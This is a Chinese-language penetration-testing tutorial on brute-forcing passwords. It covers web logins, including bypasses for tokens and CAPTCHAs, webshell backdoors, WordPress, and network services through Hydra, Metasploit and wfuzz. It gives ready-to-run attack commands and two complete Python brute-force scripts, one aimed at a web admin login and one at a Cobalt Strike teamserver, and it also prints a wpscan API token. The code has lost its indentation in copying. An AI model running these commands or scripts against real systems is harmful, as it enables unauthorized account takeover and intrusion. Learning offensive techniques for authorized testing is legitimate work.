口令穷举爆破
穷举就是枚举的意思,在互联网的今天,需要使用某种的服务,大多数都需要口令登录,这个口令就是密码,密码的强度分为,弱口令 、中度口令、强度口令。
如果登录的服务为弱口令,那会存在很大的安全隐患,黑客通过穷举弱口令对服务进行攻击,很容易就得到登录密码。得到密码之后就能登录服务,进行其他危
害较大得操作。黑客也能通过对用户得信息整理,组合密码进行穷举攻击。例如根据用户的生日号码,出身年月日和姓名进行口令组合,再对其服务进行穷举。
常见的服务



BP穷举后台密码
截取包之后发送到 intruder 在密码设置变量
选择 payloads 选择要穷举的字典
设置攻击后 根据返回的状态码 status 或者 length 网页长度对其进行判断。这
里得到正确得密码是 123456
根据状态码 一般测试正确的是现实 302 状态码 另外就是响应网页的长度
BP对webshell穷举破解密码
灰帽子对网站攻破后,一般会留后门方便对其网站进行非法管理。后门的程序语
音包括 asp php .net 这些脚本文件放在网站目录, 一般都采用单密码进行登录。
通过扫描获取 webshell 的后门的网址。得到网址后可以对其进行密码穷举。
有token防御的网站后台穷举破解密码
有的网站后台存在 token 值,这个 token 通俗的名字叫令牌,每次刷新页面都会
随机变化。提交请求时必须携带这个 token 值,可以利用这点避免后台进行直接
穷举和防止 csrf 攻击

BP设置宏获取token对网站后台密码破解
打开 burpsuite 刷新页面 接着 forward 放行这个数据包

来到 Project options –> Session– >add 添加宏


选择 Run a macro
点击之后选择网页历史选择提交之后有 token 的页面。
添加宏


设置 configure item

add 添加规则

选择 value 的值 Parameter name 填写 user_token 这个值一定要相同







这样宏就设置成功了。
接着穷举测试 抓包 设置变量 添加密码字典




密码是 password
编写脚本获取token对网站后台密码破解
就上面的登录页面来说
每次访问页面这个 user_token 都会变化导致不能重复提交。
验证原理每次页面生成 user_token 存在 seesion 里面每次登录用 session 里取出来
然后验证如果验证成功 就进行密码匹配。如果验证不成功就输出 csrf 错误。
脚本源码
#coding:utf-8
import requests
import re
url = "http://www.c3moon.com/login.php"
def login(password):
session = requests.session()
req=session.get(url)
user_token=re.search("[a-z0-9]{32}",req.text).group(0) #32md5
data={"username":"admin","password":password,"Login":"Login",'user_token':user_t
oken}
req=session.post(url=url,data=data,allow_redirects=True)
html = req.text
return html
with open('top1000.txt') as p:
passlist =p.readlines()
p.close()
for line in passlist:
line = line.strip("n")
print(line)
if 'File Upload' in login(line):
print( "[* 密码 is %s *]" % line )
break
密码破解成功

针对有验证码后台的穷举方法
网站后台或者有登录的地方都可能存在验证码验证,验证码的作用 不少网站为了防止用户利用机器人自动注册、登录、灌水,都会采用验证码技术,所谓的验证码,就是将一串随机产生的数字和符号,生成一幅图片,在图像上加上干扰像素(防止 orc),要用户用肉眼识别其中的验证码信息,输入表单提交网站验证。验证后使用网站某个功能.但是如果验证码逻辑编写不好会存在被绕过的风险。
cookie不存在不验证绕过
有些网站如果网站不存在 cookie 就不会验证 验证码
删除 PHPSESSION 信息 验证码就不进行验证了

接着对密码进行穷举
破解密码成功,登录后台。
后台登录验证码没销毁进行穷举
在登录提交的时候进行验证码验证 不管密码是否正确,都要销毁验证码。
不然验证码可复用确定的验证码

错误的验证码
网站后台验证码识别穷举验证码
验证码干扰像素太少很容易就会被一些工具识别出来。如图片提取文字工具
登录框存在验证码 这个验证码可被识别的情况下 就会被穷举密码
将 burpsuite 的包放进验证码识别工具 设置字典和验证码参数
接着选择爆破栏 选择错误的验证码关键词 设置线程 点击 start 即可 可以选择
再次爆破 验证准确率会提高。
最后查看响应长度 获取正确的密码。
phpmyadmin密码穷举
phpmyadmin 是 mysql 的一个 web 管理工具,可以通过这个工具穷举 mysql 用户的账号和密码

一句话木马后门破解
一句话后门可以使用 burpsuite 通用穷举方法穷举密码
抓包 将 cmd 设置成变量 添加字典即可

关键字
asp
qweasd123=execute("response.clear:response.write(""passwordright""):response.end")
php
echo "password right";
aspx
qweasd123=Response.Write("moonsec");
密码是 qweasd123
cheetah对一句后门密码穷举
cheetah 是针对一句话后门的穷举工具
python cheetah.py -u http://orz/orz.php
python cheetah.py -u http://orz/orz.jsp -r post -n 1000 -v
python cheetah.py -u http://orz/orz.asp -r get -c -p data/pwd.list
python cheetah.py -u http://orz/orz -w aspx -s iis -n 1000
python cheetah.py -b url.list -c -p pwd1.list pwd2.list -v
cheetah.py -u http://www.c1moon.com/a.php -n 1000 -v -p data/pwd.list
cheetah.py -u http://www.c1moon.com/a.asp -n 1000 -v -p data/pwd.list
cheetah.py -u http://www.c1moon.com/a.aspx -n 1000 -v -p data/pwd.list
支持 asp php .net jsp 后门
-u 后门地址
-r 提交的方法 一般是 post
-n 一次提交密码的数量
-v 详细信息
-p 字典位置
例子
python cheetah.py -u http://www.c1moon.com/cmd.php -r post -n 1000 -v

wordpress博客洗头用户密码穷举
wordpress 是知名的博客系统,在互联网上的占有量很大,所以一定要知道这套
系统的弱口令穷举的方法
https://wpscan.com 首先到这个网站注册账号和密码注册后获取 token

自动找账号信息 然后登录穷举
wpscan –url http://www.redteam.com/ -e u -P /home/kali/top100password.txt
–api-token QYbHH6fbNDIi6Op3MQuvg85fD4fhNiB4RKJsVOMVp6w
手动收集 wordpress 用户信息 访问连接获取用户信息
http://www.vtmoon1.com/wp-json/wp/v2/users
获取信息可以再进行指定用户爆破
wpscan –url http://www.vtmoon1.com -U moonsec -P /home/kali/top1000.txt

常见端口服务穷举
hydra密码穷举工具
hydra 是一个端口穷举服务器的工具
adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post}http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listeneroracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcaprsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
使用例子
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
常用参数说明
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]
-R
继续从上一次进度接着破解
-S
大写,采用 SSL 链接
-s
小写,可通过这个参数指定非默认端口
-l
指定破解的用户,对特定用户破解
-L
指定用户名字典
-p
小写,指定密码破解,少用,一般是采用密码字典
-P
大写,指定密码字典
-e
可选选项,n:空密码试探,s:使用指定用户和密码试探
-C
使用冒号分割格式,例如“登录名:密码”来代替-L/-P 参数
-M
指定目标列表文件一行一条
-o
指定结果输出文件
-f
在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解
-t
同时运行的线程数,默认为 16
-w
设置最大超时的时间,单位秒,默认是 30s
-v / -V
显示详细过程
server
目标 ip
service
指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp
等等
OPT
可选项
使用hydra穷举ssh服务
-L 用户字典文件 -P 密码字典文件 -t 线程数 -vV 详细信息 -e ns 使用空口令
使用指定用户和密码试探 192.168.1.104 你要穷举的 ip ssh 是服务 -o 保存文件
-f 如果找到马上中断扫描
hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
ssh://192.168.1.104
192.168.1.104 ssh
-l 指定用户
hydra -l root -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
hydra -l root -P 2019_top100.txt 192.168.52.13 ssh -vV -f

使用hydra穷举ftp服务
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认 16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
hydra -l c5moon -P 2019_top100.txt 192.168.52.6 ftp -vV -f

使用hydra穷举mysql服务
hydra ip mysql -l 用户名 -P 密码字典 -t 线程(默认 16) -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV -s 端口
使用hydra穷举smb服务
hydra -l administrator -P 2019_top100.txt 192.168.52.6 smb -vV -f


使用hydra穷举http服务
hydra -l admin -P 2019_top100.txt -vV -f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"
使用 hydra 穷举 pop3 服务
hydra -L user.txt -P qweasd123 192.168.52.6 smtp-vV -f
使用 hydra 穷举 rdp 服务
hydra ip rdp -l administrator -P pass.txt -V
使用 hydra 穷举 http-proxy 服务
hydra -l admin -P pass.txt http-proxy://10.36.16.18
使用 hydra 穷举 imap 服务
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
使用 hydra 穷举 telnet 服务
hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
xhyra穷举破解各种服务
xhydra 是 hydra 的可视化工具 使用简单方便快捷。
终端输入 xhydra 即可使用。
使用 hydra 破解 rdp 服务



metasploit穷举模块使用
metasploit 是一个渗透测试集成套件 同样也有穷举模块
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
模块的用法
首先启动在终端下启动 msfconsole
use 使用 ssh_login 模块
use auxiliary/scanner/ssh/ssh_login
show options 查看模块的参数

RHOSTS 攻击的目标
PASS_FILE 密码字典
STOP_ON_SUCCESS 成功破解一个终止
THREADS 线程数
set 设置参数
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/kali/2019_top100.txt
PASS_FILE => /home/kali/2019_top100.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.52.13
RHOSTS => 192.168.52.13
msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ssh/ssh_login) > set USERNAME root
USERNAME => root
msf5 auxiliary(scanner/ssh/ssh_login) > show options
设置好后用 run 或者 exploit 进行攻击

御剑RDP爆破工具

wfuzz多线程穷举密码
用法:wfuzz [options] -z payload,params
Examples:
wfuzz -c -z file,users.txt -z file,pass.txt –sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z
wfuzz -c -z range,1-10 –hc=BBB http://www.site.com/FUZZ{something not there}
wfuzz –script=robots -z list,robots.txt http://www.webscantest.com/FUZZ
wfuzz -c -z file,2019_top100.txt –sc 302 -u
http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -z file,2019_top100.txt –hc 404 –hh 1549 -u
http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -w /home/kali/csdnpass.txt –hc 404 –hh 1549 -u
http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"

邮箱密码穷举
默认的收发邮件端口信息
发邮件 pop3 110 加密 995
收邮件 smtp 25 加密 465
企业独立搭建的邮件服务 用MailCracker破解

针对163 qq这些邮箱用mail脚本穷举
像 163 qq 这些邮箱 并发会拦截,而且不能穷举太多。一般配合社工办法来穷举

CobaltStrike TeamServer口令爆破
Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击,文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用 Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击,文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用 Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。
Cobalt Strike 是由美国 Red Team 开发,官网地址:
这个工具的社区版是大家熟知的 Armitage(一个 MSF 的图形化界面工具),而
Cobalt Strike 大家可以理解其为 Armitage 的商业版。
TeamServer 口令暴力破解
然而今天我们并不是介绍和讲解 Cobalt Strike,而是关于 Cobalt Strike 的口令暴
力破解,众所周知 Cobalt Strike 的工作方式是以 TeamServer 为核心,可多个 Cilent
的 CS(Server Cilent)架构。
启动 teamserver
sudo ./teamserver 192.168.0.102 123456
启动 temaerver 之后可以通过客户端连接连接服务器 默认的端口是 50050 密码
是 123456 即可登录。
如果把 teamserver 放在公网上,口令设置薄弱 可以通过对其穷举有一定的几率
获取 teamserver 的权限,那么服务器里的被成功控制的机器,我们也可以对其
控制。所以说危害是非常大的。
使用 csbuster.py 对 50050 端口进行密码穷举
#!/usr/bin/env python3
# -*- coding:gbk -*-
import time
import socket
import ssl
import argparse
import concurrent.futures
import sys
# csbrute.py - Cobalt Strike Team Server Password Brute Forcer
#
https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-t
o-properly-require-a-minimal-python-versi
MIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:
sys.exit("Python %s.%s or later is required.n" % MIN_PYTHON)
parser = argparse.ArgumentParser()
parser.add_argument("host",
help="Teamserver address")
parser.add_argument("wordlist", nargs="?",
help="Newline-delimited word list file")
parser.add_argument("-p", dest="port", default=50050, type=int,
help="Teamserver port")
parser.add_argument("-t", dest="threads", default=25, type=int,
help="Concurrency level")
args = parser.parse_args()
#
https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw-
python-socket
class NotConnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class DisconnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class Connector:
def __init__(self):
self.sock = None
self.ssl_sock = None
self.ctx = ssl.SSLContext()
self.ctx.verify_mode = ssl.CERT_NONE
pass
def is_connected(self):
return self.sock and self.ssl_sock
def open(self, hostname, port):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(10)
self.ssl_sock = self.ctx.wrap_socket(self.sock)
if hostname == socket.gethostname():
ipaddress = socket.gethostbyname_ex(hostname)[2][0]
self.ssl_sock.connect((ipaddress, port))
else:
self.ssl_sock.connect((hostname, port))
def close(self):
if self.sock:
self.sock.close()
self.sock = None
self.ssl_sock = None
def send(self, buffer):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL
Socket is null)")
self.ssl_sock.sendall(buffer)
def receive(self):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL
Socket is null)")
received_size = 0
data_buffer = b""
while received_size < 4:
data_in = self.ssl_sock.recv()
data_buffer = data_buffer + data_in
received_size += len(data_in)
return data_buffer
def passwordcheck(password):
if len(password) > 0:
result = None
conn = Connector()
conn.open(args.host, args.port)
payload = bytearray(b"x00x00xbexef") + len(password).to_bytes(1,
"big", signed=True) + bytes(
bytes(password, "ascii").ljust(256, b"A"))
conn.send(payload)
if conn.is_connected(): result = conn.receive()
if conn.is_connected(): conn.close()
if result == bytearray(b"x00x00xcaxfe"):
return password
else:
return False
else:
print("Ignored blank password")
passwords = []
if args.wordlist:
print("Wordlist: {}".format(args.wordlist))
passwords = open(args.wordlist).read().split("n")
else:
print("Wordlist: {}".format("stdin"))
for line in sys.stdin:
passwords.append(line.rstrip())
if len(passwords) > 0:
print("Word Count: {}".format(len(passwords)))
print("Threads: {}".format(args.threads))
start = time.time()
# https://stackoverflow.com/questions/2846653/how-to-use-threading-in-python
attempts = 0
failures = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as
executor:
future_to_check = {executor.submit(passwordcheck, password): password
for password in passwords}
for future in concurrent.futures.as_completed(future_to_check):
password = future_to_check[future]
try:
data = future.result()
attempts = attempts + 1
if data:
print("Found Password: {}".format(password))
except Exception as exc:
failures = failures + 1
print('%r generated an exception: %s' % (password, exc))
print("Attempts: {}".format(attempts))
print("Failures: {}".format(failures))
finish = time.time()
print("Seconds: {:.1f}".format(finish - start))
print("Attemps per second: {:.1f}".format((failures + attempts) / (finish - start)))
else:
print("Password(s) required")
python3 csbuster.py 192.168.0.102 /home/kali/top1000.txt -t 20

对tomcat服务穷举
Apache Tomcat 是世界上使用最广泛的 Java Web 应用服务器之一,绝大数人都会使用 Tomcat 的默认配置。然而默认配置中会有一个向外网开放的 Web 应用管理器,管理员可以利用它在服务器中启动、停止、添加和删除应用。

use scanner/http/tomcat_mgr_login
set PASSWORD 设置密码字典
set RPORT 8081 设置端口
set RHOSTS 192.168.52.6
exploit 攻击

超级弱口令穷举

exchange邮服穷举
ruler -domain evilcorp.ninja -brute -usernames~/users.txt -passwords ~/passwords.txt
-delay 0 -v -insecure
更新: 2025-04-28 13:25:01
原文: https://www.yuque.com/yuhui.net/network/zg6bpzg5kfggipug
使用 hydra 穷举 pop3 服务
评论(0)
暂无评论